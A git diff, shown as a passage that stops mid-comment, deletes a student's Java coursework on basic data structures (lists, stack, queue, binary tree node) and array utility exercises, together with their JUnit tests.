diff --git a/group23/1323434545/work_DataStructure/01_5BasicDS/src/main/ArrayList.java b/group23/1323434545/work_DataStructure/01_5BasicDS/src/main/ArrayList.java
deleted file mode 100644
index f5e2b03a8a..0000000000
--- a/group23/1323434545/work_DataStructure/01_5BasicDS/src/main/ArrayList.java
+++ /dev/null
@@ -1,82 +0,0 @@
-package main;
-
-import java.util.Arrays;
-
-import utils.ListUtils;
-
-public class ArrayList implements List {
-	private Object[] elementData = new Object[10];
-	private int size;
-
-	@Override
-	public void add(Object o) {
-		add(size, o);
-
-	}
-
-	@Override
-	public void add(int index, Object o) {
-		// 检查是否越界
-		ListUtils.CheckIndexInRange(0, size, index);
-		if (size == elementData.length) {
-			elementData = Arrays.copyOf(elementData, elementData.length + 10);
-		}
-		if (index < size) {
-			for (int i = size; i > index; i--) {
-				elementData[i] = elementData[i - 1];
-			}
-		}
-		elementData[index] = o;
-		size++;
-	}
-
-	@Override
-	public Object remove(int index) {
-		ListUtils.CheckIndexInRange(0, size - 1, index);
-		Object tag = elementData[index];
-		for (int i = index; i < size - 1; i++) {
-			elementData[i] = elementData[i + 1];
-		}
-		elementData[size - 1] = null;
-		size--;
-		return tag;
-
-	}
-
-	@Override
-	public Object get(int index) {
-		ListUtils.CheckIndexInRange(0, size - 1, index);
-		return elementData[index];
-
-	}
-
-	@Override
-	public int size() {
-		return size;
-	}
-
-	public Iterator iterator() {
-		return new Iterator() {
-			private int cursor;
-
-			@Override
-			public boolean hasNext() {
-				if (size > 0) {
-					return cursor < size;
-				} else {
-					return false;
-				}
-
-			}
-
-			@Override
-			public Object next() {
-				Object tag = get(cursor);
-				cursor++;
-				return tag;
-			}
-		};
-
-	}
-
-}
diff --git a/group23/1323434545/work_DataStructure/01_5BasicDS/src/main/BinaryTreeNode.java b/group23/1323434545/work_DataStructure/01_5BasicDS/src/main/BinaryTreeNode.java
deleted file mode 100644
index 3192984cdc..0000000000
--- a/group23/1323434545/work_DataStructure/01_5BasicDS/src/main/BinaryTreeNode.java
+++ /dev/null
@@ -1,65 +0,0 @@
-package main;
-
-public class BinaryTreeNode {
-	@SuppressWarnings("rawtypes")
-	private Comparable data;
-	private BinaryTreeNode left;
-	private BinaryTreeNode right;
-
-	@SuppressWarnings("rawtypes")
-	public BinaryTreeNode(Comparable data, BinaryTreeNode left, BinaryTreeNode right) {
-		this.data = data;
-		this.left = left;
-		this.right = right;
-	}
-
-	@SuppressWarnings({ "rawtypes", "unchecked" })
-	public BinaryTreeNode insert(Comparable o) {
-		int result = o.compareTo(data);
-		if (0 == result) {
-			return this;
-		} else if (0 < result) {
-			if (null == this.right) {
-				BinaryTreeNode node = new BinaryTreeNode(o, null, null);
-				this.right = node;
-				return node;
-			}
-			return this.right.insert(o);
-		} else {
-			if (null == this.left) {
-				BinaryTreeNode node = new BinaryTreeNode(o, null, null);
-				this.left = node;
-				return node;
-			}
-			return this.left.insert(o);
-		}
-
-	}
-
-	@SuppressWarnings("rawtypes")
-	public Comparable getData() {
-		return data;
-	}
-
-	@SuppressWarnings("rawtypes")
-	public void setData(Comparable data) {
-		this.data = data;
-	}
-
-	public BinaryTreeNode getLeft() {
-		return left;
-	}
-
-	public void setLeft(BinaryTreeNode left) {
-		this.left = left;
-	}
-
-	public BinaryTreeNode getRight() {
-		return right;
-	}
-
-	public void setRight(BinaryTreeNode right) {
-		this.right = right;
-	}
-
-}
diff --git a/group23/1323434545/work_DataStructure/01_5BasicDS/src/main/Iterator.java b/group23/1323434545/work_DataStructure/01_5BasicDS/src/main/Iterator.java
deleted file mode 100644
index 4a052a8646..0000000000
--- a/group23/1323434545/work_DataStructure/01_5BasicDS/src/main/Iterator.java
+++ /dev/null
@@ -1,6 +0,0 @@
-package main;
-
-public interface Iterator {
-	public boolean hasNext();
-	public Object next();
-}
diff --git a/group23/1323434545/work_DataStructure/01_5BasicDS/src/main/LinkedList.java b/group23/1323434545/work_DataStructure/01_5BasicDS/src/main/LinkedList.java
deleted file mode 100644
index bc142a6b06..0000000000
--- a/group23/1323434545/work_DataStructure/01_5BasicDS/src/main/LinkedList.java
+++ /dev/null
@@ -1,114 +0,0 @@
-package main;
-
-import utils.ListUtils;
-
-public class LinkedList implements List {
-	private Node head;
-	private int size;
-
-	private static class Node {
-		private Object data;
-		private Node next;
-	}
-
-	@Override
-	public void add(Object o) {
-		add(size, o);
-	}
-
-	@Override
-	public void add(int index, Object o) {
-		ListUtils.CheckIndexInRange(0, size, index);
-		if (0==size) {
-			head = new Node();
-			head.data = o;
-			size++;
-			return;
-		}
-		if (0 == index) {
-			Node node = new Node();
-			node.data = o;
-			node.next = head;
-			head = node;
-			size++;
-			return;
-		}
-		if (index == size) {
-			Node node = head;
-			while (null != node.next) {
-				node = node.next;
-			}
-			Node addNode = new Node();
-			addNode.data = o;
-			node.next = addNode;
-			size++;
-			return;
-		}
-		Node node = head;
-		for (int i = 0; i < index - 1; i++) {
-			node = node.next;
-		}
-		Node addNode = new Node();
-		addNode.data = o;
-		addNode.next = node.next;
-		node.next = addNode;
-		size++;
-	}
-
-	@Override
-	public Object remove(int index) {
-		ListUtils.CheckIndexInRange(0, size - 1, index);
-		Node node = head;
-		if (0 == index) {
-			head = head.next;
-			size--;
-			return node.data;
-		}
-		for (int i = 0; i < index - 1; i++) {
-			node = node.next;
-		}
-		Node removeNode = node.next;
-		node.next = removeNode.next;
-		size--;
-		return removeNode.data;
-	}
-
-	@Override
-	public Object get(int index) {
-		ListUtils.CheckIndexInRange(0, size - 1, index);
-		Node node = head;
-		for (int i = 0; i < index; i++) {
-			node = node.next;
-		}
-		return node.data;
-	}
-
-	@Override
-	public int size() {
-		return size;
-	}
-
-	public Iterator iterator() {
-		return new Iterator() {
-			private int cursor;
-
-			@Override
-			public boolean hasNext() {
-				if (size > 0) {
-					return cursor < size;
-				} else {
-					return false;
-				}
-
-			}
-
-			@Override
-			public Object next() {
-				Object tag = get(cursor);
-				cursor++;
-				return tag;
-			}
-		};
-	}
-
-}
diff --git a/group23/1323434545/work_DataStructure/01_5BasicDS/src/main/List.java b/group23/1323434545/work_DataStructure/01_5BasicDS/src/main/List.java
deleted file mode 100644
index f5825a0ea6..0000000000
--- a/group23/1323434545/work_DataStructure/01_5BasicDS/src/main/List.java
+++ /dev/null
@@ -1,9 +0,0 @@
-package main;
-
-public interface List {
-	public void add(Object o);
-	public void add(int index,Object o);
-	public Object remove(int index);
-	public Object get(int index);
-	public int size();
-}
diff --git a/group23/1323434545/work_DataStructure/01_5BasicDS/src/main/Queue.java b/group23/1323434545/work_DataStructure/01_5BasicDS/src/main/Queue.java
deleted file mode 100644
index 76d80e419c..0000000000
--- a/group23/1323434545/work_DataStructure/01_5BasicDS/src/main/Queue.java
+++ /dev/null
@@ -1,22 +0,0 @@
-package main;
-
-public class Queue {
-	private LinkedList list = new LinkedList();
-
-	public void enQueue(Object o) {
-		list.add(o);
-	}
-
-	public Object deQueue() {
-		return list.remove(0);
-	}
-
-	public boolean isEmpty() {
-		return list.size() == 0;
-	}
-
-	public int size() {
-		return list.size();
-	}
-
-}
diff --git a/group23/1323434545/work_DataStructure/01_5BasicDS/src/main/Stack.java b/group23/1323434545/work_DataStructure/01_5BasicDS/src/main/Stack.java
deleted file mode 100644
index bd489f7a98..0000000000
--- a/group23/1323434545/work_DataStructure/01_5BasicDS/src/main/Stack.java
+++ /dev/null
@@ -1,25 +0,0 @@
-package main;
-
-public class Stack {
-	private ArrayList list = new ArrayList();
-
-	public void push(Object o) {
-		list.add(o);
-	}
-
-	public Object pop() {
-		return list.remove(list.size() - 1);
-	}
-
-	public Object peek() {
-		return list.get(list.size() - 1);
-	}
-
-	public boolean isEmpty() {
-		return list.size() == 0;
-	}
-
-	public int size() {
-		return list.size();
-	}
-}
diff --git a/group23/1323434545/work_DataStructure/01_5BasicDS/src/test/ArrayListTest.java b/group23/1323434545/work_DataStructure/01_5BasicDS/src/test/ArrayListTest.java
deleted file mode 100644
index dc958d5731..0000000000
--- a/group23/1323434545/work_DataStructure/01_5BasicDS/src/test/ArrayListTest.java
+++ /dev/null
@@ -1,144 +0,0 @@
-package test;
-
-
-import static org.junit.Assert.*;
-
-import org.junit.Before;
-import org.junit.Test;
-
-
-import main.ArrayList;
-import main.Iterator;
-
-public class ArrayListTest {
-	ArrayList list;
-
-	@Before
-	public void init() {
-		list = new ArrayList();
-	}
-
-	@Test
-	public void testAddObject() {
-		list.add(0);
-		list.add(1);
-		list.add(2);
-		list.add(3);
-		list.add(4);
-		list.add(5);
-		list.add(6);
-		list.add(7);
-		list.add(8);
-		list.add(9);
-		list.add(10);
-		assertEquals(0, list.get(0));
-		assertEquals(1, list.get(1));
-		assertEquals(2, list.get(2));
-
-	}
-
-	@Test
-	public void testAddIntObject() {
-		list.add("b");
-		list.add("d");
-		list.add("e");
-		list.add(0, "a");
-		list.add(2, "c");
-		list.add(5, "f");
-		assertEquals("a", list.get(0));
-		assertEquals("c", list.get(2));
-		assertEquals("f", list.get(5));
-		try {
-			list.add(-1, "hh");
-			fail("-1 cann't be index");
-		} catch (Exception e) {
-		}
-
-		try {
-			list.add(7, "xx");
-			fail("index should <=size");
-		} catch (Exception e) {
-		}
-
-	}
-
-	@Test
-	public void testRemove() {
-		list.add("a");
-		list.add("b");
-		list.add("c");
-		list.add("d");
-		assertEquals("d", list.remove(3));
-		assertEquals("a", list.remove(0));
-		assertEquals("c", list.remove(1));
-		try {
-			list.remove(-1);
-			fail("-1 cann't be index");
-		} catch (Exception e) {
-		}
-
-		try {
-			list.remove(1);
-			fail("index should <=size");
-		} catch (Exception e) {
-		}
-
-	}
-
-	@Test
-	public void testGet() {
-
-		list.add("a");
-		assertEquals("a", list.get(0));
-
-		try {
-			list.get(-1);
-			fail("-1 cann't be index");
-		} catch (Exception e) {
-		}
-
-		try {
-			list.get(1);
-			fail("index should <=size");
-		} catch (Exception e) {
-		}
-
-	}
-
-	@Test
-	public void testSize() {
-		list.add("a");
-		assertEquals(1, list.size());
-		list.remove(0);
-		assertEquals(0, list.size());
-	}
-
-	@Test
-	public void testIterator() {
-		Iterator i = list.iterator();
-		assertEquals(0, list.size());
-		assertFalse(i.hasNext());
-		list.add("a");
-		list.add("b");
-		list.add("c");
-		list.add("d");
-		i = list.iterator();
-		assertTrue(i.hasNext());
-		assertEquals("a", i.next());
-		assertTrue(i.hasNext());
-		assertEquals("b", i.next());
-		assertTrue(i.hasNext());
-		assertEquals("c", i.next());
-		assertTrue(i.hasNext());
-		assertEquals("d", i.next());
-		assertFalse(i.hasNext());
-
-		try {
-			i.next();
-			fail("index should <=size");
-		} catch (Exception e) {
-		}
-
-	}
-
-}
diff --git a/group23/1323434545/work_DataStructure/01_5BasicDS/src/test/BinaryTreeNodeTest.java b/group23/1323434545/work_DataStructure/01_5BasicDS/src/test/BinaryTreeNodeTest.java
deleted file mode 100644
index b52f06d70d..0000000000
--- a/group23/1323434545/work_DataStructure/01_5BasicDS/src/test/BinaryTreeNodeTest.java
+++ /dev/null
@@ -1,25 +0,0 @@
-package test;
-
-import static org.junit.Assert.*;
-
-import org.junit.Test;
-
-import main.BinaryTreeNode;
-
-public class BinaryTreeNodeTest {
-
-	@Test
-	public void testInsert() {
-		BinaryTreeNode node = new BinaryTreeNode(5, null,null);
-		node.insert(2);
-		node.insert(7);
-		node.insert(7);
-		node.insert(1);
-		node.insert(6);
-		node.insert(4);
-		node.insert(8);
-		assertEquals(8, node.getRight().getRight().getData());
-		assertEquals(4, node.getLeft().getRight().getData());
-	}
-
-}
diff --git a/group23/1323434545/work_DataStructure/01_5BasicDS/src/test/LinkedListTest.java b/group23/1323434545/work_DataStructure/01_5BasicDS/src/test/LinkedListTest.java
deleted file mode 100644
index 56f6b0bad9..0000000000
--- a/group23/1323434545/work_DataStructure/01_5BasicDS/src/test/LinkedListTest.java
+++ /dev/null
@@ -1,126 +0,0 @@
-package test;
-
-import static org.junit.Assert.*;
-
-import org.junit.Before;
-import org.junit.Test;
-
-import main.Iterator;
-import main.LinkedList;
-
-public class LinkedListTest {
-	private LinkedList list;
-	
-	@Before
-	public void init(){
-		list = new LinkedList();
-	}
-
-	@Test
-	public void testAddObject() {
-		list.add(0);
-		list.add(1);
-		list.add(2);
-		assertEquals(0, list.get(0));
-		assertEquals(1, list.get(1));
-		assertEquals(2, list.get(2));
-	}
-
-	@Test
-	public void testAddIntObject() {
-		list.add("b");
-		list.add("d");
-		list.add("e");
-		list.add(0, "a");
-		list.add(2, "c");
-		list.add(5, "f");
-		assertEquals("a", list.get(0));
-		assertEquals("c", list.get(2));
-		assertEquals("f", list.get(5));
-		try {
-			list.add(-1, "hh");
-			fail("-1 cann't be index");
-		} catch (Exception e) {
-		}
-
-		try {
-			list.add(7, "xx");
-			fail("index should <=size");
-		} catch (Exception e) {}
-	}
-
-	@Test
-	public void testRemove() {
-		list.add("a");
-		list.add("b");
-		list.add("c");
-		list.add("d");
-		assertEquals("d", list.remove(3));
-		assertEquals("a", list.remove(0));
-		assertEquals("c", list.remove(1));
-		try {
-			list.remove(-1);
-			fail("-1 cann't be index");
-		} catch (Exception e) {
-		}
-
-		try {
-			list.remove(1);
-			fail("index should <=size");
-		} catch (Exception e) {
-		}
-
-	}
-
-	@Test
-	public void testGet() {
-
-		list.add("a");
-		assertEquals("a", list.get(0));
-
-		try {
-			list.get(-1);
-			fail("-1 cann't be index");
-		} catch (Exception e) {
-		}
-
-		try {
-			list.get(1);
-			fail("index should <=size");
-		} catch (Exception e) {
-		}
-	}
-
-	@Test
-	public void testSize() {
-		list.add("a");
-		assertEquals(1, list.size());
-		list.remove(0);
-		assertEquals(0, list.size());
-	}
-
-	@Test
-	public void testIterator() {
-		list.add("a");
-		list.add("b");
-		list.add("c");
-		list.add("d");
-		Iterator i = list.iterator();
-		assertTrue(i.hasNext());
-		assertEquals("a", i.next());
-		assertTrue(i.hasNext());
-		assertEquals("b", i.next());
-		assertTrue(i.hasNext());
-		assertEquals("c", i.next());
-		assertTrue(i.hasNext());
-		assertEquals("d", i.next());
-		assertFalse(i.hasNext());
-
-		try {
-			i.next();
-			fail("index should <=size");
-		} catch (Exception e) {
-		}
-	}
-
-}
diff --git a/group23/1323434545/work_DataStructure/01_5BasicDS/src/test/QueueTest.java b/group23/1323434545/work_DataStructure/01_5BasicDS/src/test/QueueTest.java
deleted file mode 100644
index ca085df0c8..0000000000
--- a/group23/1323434545/work_DataStructure/01_5BasicDS/src/test/QueueTest.java
+++ /dev/null
@@ -1,50 +0,0 @@
-package test;
-
-import static org.junit.Assert.*;
-
-import org.junit.Before;
-import org.junit.Test;
-
-import main.Queue;
-
-public class QueueTest {
-	private Queue queue;
-	
-	@Before
-	public void init(){
-		queue = new Queue();
-	}
-
-	@Test
-	public void testEnQueue() {
-	}
-
-	@Test
-	public void testDeQueue() {
-		try{
-			queue.deQueue();
-			fail("empty queue hasn't element");
-		}catch (Exception e) {
-		}
-		queue.enQueue("a");
-		queue.enQueue("b");
-		assertEquals("a", queue.deQueue());
-		assertEquals("b", queue.deQueue());
-	}
-
-	@Test
-	public void testIsEmpty() {
-		assertTrue(queue.isEmpty());
-		queue.enQueue("a");
-		assertFalse(queue.isEmpty());
-	}
-
-	@Test
-	public void testSize() {
-		assertEquals(0, queue.size());
-		queue.enQueue("a");
-		queue.enQueue("a");
-		assertEquals(2, queue.size());
-	}
-
-}
diff --git a/group23/1323434545/work_DataStructure/01_5BasicDS/src/test/StackTest.java b/group23/1323434545/work_DataStructure/01_5BasicDS/src/test/StackTest.java
deleted file mode 100644
index 00c3d23a5e..0000000000
--- a/group23/1323434545/work_DataStructure/01_5BasicDS/src/test/StackTest.java
+++ /dev/null
@@ -1,67 +0,0 @@
-package test;
-
-import static org.junit.Assert.*;
-
-import org.junit.Before;
-import org.junit.Test;
-
-import main.Stack;
-
-public class StackTest {
-	private Stack stack;
-	
-	@Before
-	public void init(){
-		stack = new Stack();
-	}
-	
-	@Test
-	public void testPush() {
-		stack.push("a");
-		assertEquals("a", stack.peek());
-		stack.push("b");
-		assertEquals("b", stack.peek());
-	}
-
-	@Test
-	public void testPop() {
-		try{
-			stack.pop();
-			fail("empty stack hasn't element");
-		}catch (Exception e) {
-		}
-		stack.push("a");
-		stack.push("b");
-		stack.push("c");
-		assertEquals("c", stack.pop());
-		assertEquals("b", stack.pop());
-		assertEquals("a", stack.pop());
-	}
-
-	@Test
-	public void testPeek() {
-	}
-
-	@Test
-	public void testIsEmpty() {
-		assertTrue(stack.isEmpty());
-		stack.push("a");
-		stack.push("b");
-		assertFalse(stack.isEmpty());
-		stack.pop();
-		assertFalse(stack.isEmpty());
-		stack.pop();
-		assertTrue(stack.isEmpty());
-		
-		
-	}
-
-	@Test
-	public void testSize() {
-		assertEquals(0, stack.size());
-		stack.push("a");
-		stack.push("b");
-		assertEquals(2, stack.size());
-	}
-
-}
diff --git a/group23/1323434545/work_DataStructure/01_5BasicDS/src/utils/ListUtils.java b/group23/1323434545/work_DataStructure/01_5BasicDS/src/utils/ListUtils.java
deleted file mode 100644
index 82b62d462c..0000000000
--- a/group23/1323434545/work_DataStructure/01_5BasicDS/src/utils/ListUtils.java
+++ /dev/null
@@ -1,11 +0,0 @@
-package utils;
-
-public class ListUtils {
-	public static boolean CheckIndexInRange(int start, int end, int index) {
-		if (index >= start && index <= end) {
-			return true;
-		}
-		throw new IndexOutOfBoundsException();
-	}
-
-}
diff --git a/group23/1323434545/work_DataStructure/02_ArrayUtil/src/main/ArrayUtil.java b/group23/1323434545/work_DataStructure/02_ArrayUtil/src/main/ArrayUtil.java
deleted file mode 100644
index fd9ff8c8bd..0000000000
--- a/group23/1323434545/work_DataStructure/02_ArrayUtil/src/main/ArrayUtil.java
+++ /dev/null
@@ -1,209 +0,0 @@
-package main;
-
-import java.util.Arrays;
-
-public class ArrayUtil {
-	/**
-	 * 给定一个整形数组a , 对该数组的值进行置换 例如： a = [7, 9 , 30, 3] , 置换后为 [3, 30, 9,7] 如果 a =
-	 * [7, 9, 30, 3, 4] , 置换后为 [4,3, 30 , 9,7]
-	 * 
-	 * @param origin
-	 * @return
-	 */
-	public static void reverseArray(int[] origin) {
-		if (null == origin) {
-			return;
-		}
-		for (int temp = 0, i = 0; i < origin.length / 2; i++) {
-			temp = origin[i];
-			origin[i] = origin[origin.length - i - 1];
-			origin[origin.length - i - 1] = temp;
-		}
-	}
-
-	/**
-	 * 现在有如下的一个数组： int oldArr[]={1,3,4,5,0,0,6,6,0,5,4,7,6,7,0,5}
-	 * 要求将以上数组中值为0的项去掉，将不为0的值存入一个新的数组，生成的新数组为： {1,3,4,5,6,6,5,4,7,6,7,5}
-	 * 
-	 * @param oldArray
-	 * @param newArray
-	 * @return
-	 */
-
-	public static int[] removeZero(int[] oldArray) {
-		if (null == oldArray) {
-			return null;
-		}
-		int counter = 0;
-		int[] newArray = new int[oldArray.length];
-		for (int i = 0; i < oldArray.length; i++) {
-			if (oldArray[i] != 0) {
-				newArray[counter++] = oldArray[i];
-			}
-		}
-		return Arrays.copyOf(newArray, counter);
-	}
-
-	/**
-	 * 给定两个已经排序好的整形数组， a1和a2 , 创建一个新的数组a3, 使得a3 包含a1和a2 的所有元素， 并且仍然是有序的 例如 a1 =
-	 * [3, 5, 7,8] a2 = [4, 5,6,7] 则 a3 为[3,4,5,6,7,8] , 注意： 已经消除了重复
-	 * 
-	 * @param array1
-	 * @param array2
-	 * @return
-	 */
-
-	public static int[] merge(int[] array1, int[] array2) {
-		if (null == array1) {
-			return array2;
-		}
-		if (null == array2) {
-			return array1;
-		}
-		if (0 == array1.length && 0 == array2.length) {
-			return new int[0];
-		}
-		Arrays.sort(array1);
-		Arrays.sort(array2);
-		int[] array = new int[array1.length + array2.length];
-		System.arraycopy(array1, 0, array, 0, array1.length);
-		System.arraycopy(array2, 0, array, array1.length, array2.length);
-		int counter = 0;
-		for (int i = 0; i < array.length - 1 - counter; i++) {
-			for (int j = i + 1; j < array.length - counter; j++) {
-				if (array[i] == array[j]) {
-					int k = 0;
-					for (k = i; k < array.length - 1; k++) {
-						array[k] = array[k + 1];
-					}
-					i--;
-					counter++;
-					break;
-				}
-			}
-		}
-		array = Arrays.copyOf(array, array.length - counter);
-		Arrays.sort(array);
-		return array;
-	}
-
-	/**
-	 * 把一个已经存满数据的数组 oldArray的容量进行扩展， 扩展后的新数据大小为oldArray.length + size
-	 * 注意，老数组的元素在新数组中需要保持 例如 oldArray = [2,3,6] , size = 3,则返回的新数组为
-	 * [2,3,6,0,0,0]
-	 * 
-	 * @param oldArray
-	 * @param size
-	 * @return
-	 */
-	public static int[] grow(int[] oldArray, int size) {
-		if (null == oldArray) {
-			return null;
-		}
-		int[] array = new int[oldArray.length + size];
-		for (int i = 0; i < oldArray.length; i++) {
-			array[i] = oldArray[i];
-		}
-		return array;
-	}
-
-	/**
-	 * 斐波那契数列为：1，1，2，3，5，8，13，21...... ，给定一个最大值， 返回小于该值的数列 例如， max = 15 ,
-	 * 则返回的数组应该为 [1，1，2，3，5，8，13] max = 1, 则返回空数组 []
-	 * 
-	 * @param max
-	 * @return
-	 */
-	public static int[] fibonacci(int max) {
-		if (max <= 1) {
-			return new int[0];
-		}
-		int[] array = new int[max];
-		array[0] = 1;
-		array[1] = 1;
-		int i = 1;
-		do {
-			i++;
-			array[i] = array[i - 1] + array[i - 2];
-		} while (array[i] < max);
-		return Arrays.copyOf(array, i);
-	}
-
-	/**
-	 * 返回小于给定最大值max的所有素数数组 例如max = 23, 返回的数组为[2,3,5,7,11,13,17,19]
-	 * 
-	 * @param max
-	 * @return
-	 */
-	public static int[] getPrimes(int max) {
-		if (max < 3) {
-			return new int[0];
-		}
-		int[] array = new int[max];
-		int counter = 0;
-		for (int i = 2; i < max; i++) {
-			int j = 2;
-			for (; j * j <= i; j++) {
-				if (i % j == 0) {
-					break;
-				}
-			}
-			if (j * j > i) {
-				array[counter] = i;
-				counter++;
-			}
-		}
-		return Arrays.copyOf(array, counter);
-	}
-
-	/**
-	 * 所谓“完数”， 是指这个数恰好等于它的因子之和，例如6=1+2+3 给定一个最大值max， 返回一个数组， 数组中是小于max 的所有完数
-	 * 
-	 * @param max
-	 * @return
-	 */
-	public static int[] getPerfectNumbers(int max) {
-		if (max < 7) {
-			return new int[0];
-		}
-		int[] array = new int[2];
-		int counter = 0;
-		for (int i = 6; i < max; i++) {
-			int sum = 0;
-			for (int j = 1; j <= i / 2; j++) {
-				if (i % j == 0) {
-					sum = sum + j;
-				}
-			}
-			if (sum == i) {
-				if (counter == array.length) {
-					array = ArrayUtil.grow(array, 2);
-				}
-				array[counter++] = i;
-			}
-		}
-		return Arrays.copyOf(array, counter);
-	}
-
-	/**
-	 * 用seperator 把数组 array给连接起来 例如array= [3,8,9], seperator = "-" 则返回值为"3-8-9"
-	 * 
-	 * @param array
-	 * @param s
-	 * @return
-	 */
-	public static String join(int[] array, String seperator) {
-		if (null == array) {
-			return null;
-		}
-		if (array.length == 0) {
-			return "";
-		}
-		StringBuffer sb = new StringBuffer();
-		for (int i = 0; i < array.length; i++) {
-			sb.append(seperator).append(array[i]);
-		}
-		return sb.toString().substring(seperator.length());
-	}
-
-}
diff --git a/group23/1323434545/work_DataStructure/02_ArrayUtil/src/test/ArrayUtilTest.java b/group23/1323434545/work_DataStructure/02_ArrayUtil/src/test/ArrayUtilTest.java
deleted file mode 100644
index 103d34daff..0000000000
--- a/group23/1323434545/work_DataStructure/02_ArrayUtil/src/test/ArrayUtilTest.java
+++ /dev/null
@@ -1,101 +0,0 @@
-package test;
-
-import static org.junit.Assert.*;
-
-import org.junit.Test;
-
-import main.ArrayUtil;
-
-public class ArrayUtilTest {
-	@Test
-	public void testReverseArray() {
-		int[] origin = null;
-		ArrayUtil.reverseArray(origin);
-		assertEquals(null, origin);
-
-		int[] origin1 = { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9 };
-		ArrayUtil.reverseArray(origin1);
-		int[] expected1 = { 9, 8, 7, 6, 5, 4, 3, 2, 1, 0 };
-		for (int i = 0; i < 4; i++) {
-			assertEquals(expected1[i], origin1[i]);
-		}
-
-		int[] origin2 = { 0, 1, 2, 3, 4, 5, 6, 7, 8 };
-		ArrayUtil.reverseArray(origin2);
-		int[] expected2 = { 8, 7, 6, 5, 4, 3, 2, 1, 0 };
-		for (int i = 0; i < 4; i++) {
-			assertEquals(expected2[i], origin2[i]);
-		}
-	}
-
-	@Test
-	public void testRemoveZero() {
-		int oldArr[] = { 1, 3, 4, 5, 0, 0, 6, 6, 0, 5, 4, 7, 6, 7, 0, 5 };
-		int excepted[] = { 1, 3, 4, 5, 6, 6, 5, 4, 7, 6, 7, 5 };
-		oldArr = ArrayUtil.removeZero(oldArr);
-		System.out.println(oldArr.length);
-		for (int i = 0; i < oldArr.length; i++) {
-			assertEquals(excepted[i], oldArr[i]);
-		}
-	}
-
-	@Test
-	public void testMerge() {
-		int[] array1 = { 3, 4, 4, 5, 7, 8 };
-		int[] array2 = { 4, 5, 6, 7 };
-		int[] expected = { 3, 4, 5, 6, 7, 8 };
-		int[] array = ArrayUtil.merge(array1, array2);
-		for (int i = 0; i < array.length; i++) {
-			assertEquals(expected[i], array[i]);
-		}
-	}
-
-	@Test
-	public void testGrow() {
-		int[] oldArray = { 2, 3, 6 };
-		int[] array = ArrayUtil.grow(oldArray, 3);
-		int[] expected = { 2, 3, 6, 0, 0, 0 };
-		for (int i = 0; i < array.length; i++) {
-			assertEquals(expected[i], array[i]);
-		}
-	}
-
-	@Test
-	public void testFibonacci() {
-		int[] fibonacci = ArrayUtil.fibonacci(1);
-		assertEquals(0, fibonacci.length);
-
-		int[] fibonacci1 = ArrayUtil.fibonacci(16);
-		int[] excepted1 = { 1, 1, 2, 3, 5, 8, 13, 15 };
-		for (int i = 0; i < fibonacci1.length; i++) {
-			assertEquals(excepted1[i], fibonacci1[i]);
-		}
-	}
-
-	@Test
-	public void testGetPrimes() {
-		int[] primes = ArrayUtil.getPrimes(23);
-		int[] excepted = { 2, 3, 5, 7, 11, 13, 17, 19 };
-		for (int i = 0; i < primes.length; i++) {
-			assertEquals(excepted[i], primes[i]);
-		}
-	}
-
-	@Test
-	public void testGetPerfectNumbers() {
-		int[] PerfectNumbers = ArrayUtil.getPerfectNumbers(497);
-		int[] excepted = { 6, 28, 496 };
-		for (int i = 0; i < PerfectNumbers.length; i++) {
-			assertEquals(excepted[i], PerfectNumbers[i]);
-		}
-	}
-
-	@Test
-	public void testJoin() {
-		int[] array1 = { 3 };
-		assertEquals("3", ArrayUtil.join(array1, "-%"));
-		int[] array2 = { 3, 8, 9, 7 };
-		assertEquals("3-%8-%9-%7", ArrayUtil.join(array2, "-%"));
-	}
-
-}
diff --git a/group23/1323434545/work_DataStructure/03_LinkedListOperations/src/main/Iterator.java b/group23/1323434545/work_DataStructure/03_LinkedListOperations/src/main/Iterator.java
deleted file mode 100644
index 4a052a8646..0000000000
--- a/group23/1323434545/work_DataStructure/03_LinkedListOperations/src/main/Iterator.java
+++ /dev/null
@@ -1,6 +0,0 @@
-package main;
-
-public interface Iterator {
-	public boolean hasNext();
-	public Object next();
-}
diff --git a/group23/1323434545/work_DataStructure/03_LinkedListOperations/src/main/LinkedList.java b/group23/1323434545/work_DataStructure/03_LinkedListOperations/src/main/LinkedList.java
deleted file mode 100644
index 7242de720f..0000000000
--- a/group23/1323434545/work_DataStructure/03_LinkedListOperations/src/main/LinkedList.java
+++ /dev/null
@@ -1,256 +0,0 @@
-package main;
-
-import java.util.Arrays;
-
-import utils.ListUtils;
-
-public class LinkedList implements List{
-	private Node head;
-	private int size;
-
-	private static class Node {
-		private Object data;
-		private Node next;
-	}
-
-	@Override
-	public void add(Object o) {
-		add(size, o);
-	}
-
-	@Override
-	public void add(int index, Object o) {
-		ListUtils.CheckIndexInRange(0, size, index);
-		if (0==size) {
-			head = new Node();
-			head.data = o;
-			size++;
-			return;
-		}
-		if (0 == index) {
-			Node node = new Node();
-			node.data = o;
-			node.next = head;
-			head = node;
-			size++;
-			return;
-		}
-		if (index == size) {
-			Node node = head;
-			while (null != node.next) {
-				node = node.next;
-			}
-			Node addNode = new Node();
-			addNode.data = o;
-			node.next = addNode;
-			size++;
-			return;
-		}
-		Node node = head;
-		for (int i = 0; i < index - 1; i++) {
-			node = node.next;
-		}
-		Node addNode = new Node();
-		addNode.data = o;
-		addNode.next = node.next;
-		node.next = addNode;
-		size++;
-	}
-
-	@Override
-	public Object remove(int index) {
-		if(size == 0){
-			return null;
-		}
-		ListUtils.CheckIndexInRange(0, size - 1, index);
-		Node node = head;
-		if (0 == index) {
-			head = head.next;
-			size--;
-			return node.data;
-		}
-		for (int i = 0; i < index - 1; i++) {
-			node = node.next;
-		}
-		Node removeNode = node.next;
-		node.next = removeNode.next;
-		size--;
-		return removeNode.data;
-	}
-
-	@Override
-	public Object get(int index) {
-		ListUtils.CheckIndexInRange(0, size - 1, index);
-		Node node = head;
-		for (int i = 0; i < index; i++) {
-			node = node.next;
-		}
-		return node.data;
-	}
-
-	@Override
-	public int size() {
-		return size;
-	}
-
-	public Iterator iterator() {
-		return new Iterator() {
-			private int cursor;
-
-			@Override
-			public boolean hasNext() {
-				if (size > 0) {
-					return cursor < size;
-				} else {
-					return false;
-				}
-
-			}
-
-			@Override
-			public Object next() {
-				Object tag = get(cursor);
-				cursor++;
-				return tag;
-			}
-		};
-	}
-	
-	/**
-	 * 把该链表逆置
-	 * 例如链表为 3->7->10 , 逆置后变为  10->7->3
-	 */
-	public  void reverse(){	
-		if(this.size == 0){
-			return;
-		}
-		LinkedList list = new LinkedList();
-		for(int i =this.size-1;i>=0;i--){
-			list.add(this.get(i));
-		}
-		this.head = list.head;
-	}
-	
-	/**
-	 * 删除一个单链表的前半部分
